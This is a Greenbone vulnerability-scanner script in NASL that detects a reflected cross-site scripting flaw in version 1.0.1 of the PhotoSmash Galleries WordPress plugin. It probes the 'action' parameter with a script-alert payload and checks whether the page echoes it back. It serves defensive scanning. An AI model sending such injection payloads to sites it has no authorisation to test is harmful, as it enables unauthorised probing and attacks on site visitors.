PhotoSmash Galleries WordPress Plugin 'action' Parameter XSS Vulnerability

# SPDX-FileCopyrightText: 2011 Greenbone AG
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# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:wordpress:wordpress";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.801880");
  script_version("2023-10-27T05:05:28+0000");
  script_tag(name:"last_modification", value:"2023-10-27 05:05:28 +0000 (Fri, 27 Oct 2023)");
  script_tag(name:"creation_date", value:"2011-05-16 15:25:30 +0200 (Mon, 16 May 2011)");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_name("PhotoSmash Galleries WordPress Plugin 'action' Parameter XSS Vulnerability");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_wordpress_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("wordpress/http/detected");

  script_xref(name:"URL", value:"http://www.htbridge.ch/advisory/xss_in_photosmash_wordpress_plugin.html");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/46782");

  script_tag(name:"impact", value:"Successful exploitation will allow attacker to execute arbitrary code in
  the context of an application.");

  script_tag(name:"affected", value:"WordPress PhotoSmash Galleries Plugin version 1.0.1");

  script_tag(name:"insight", value:"The flaw is caused by improper validation of user-supplied input passed via
  the 'action' parameter to /wp-content/plugins/photosmash-galleries/index.php,
  that allows attackers to execute arbitrary HTML and script code on the web server.");

  script_tag(name:"solution", value:"Update to WordPress PhotoSmash Galleries Plugin version 1.0.5 or later.");

  script_tag(name:"summary", value:"WordPress PhotoSmash Galleries Plugin is prone to a cross-site scripting (XSS) vulnerability.");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_tag(name:"solution_type", value:"VendorFix");

  script_xref(name:"URL", value:"http://wordpress.org/extend/plugins/photosmash-galleries/");
  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("misc_func.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

vtstrings = get_vt_strings();

url = string(dir, "/wp-content/plugins/photosmash-galleries/index.php?action=<script>alert('" + vtstrings["lowercase"] + "')</script>");

if(http_vuln_check(port:port, url:url, check_header:TRUE, pattern:"<script>alert\('" + vtstrings["lowercase"] + "'\)</script>")){
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);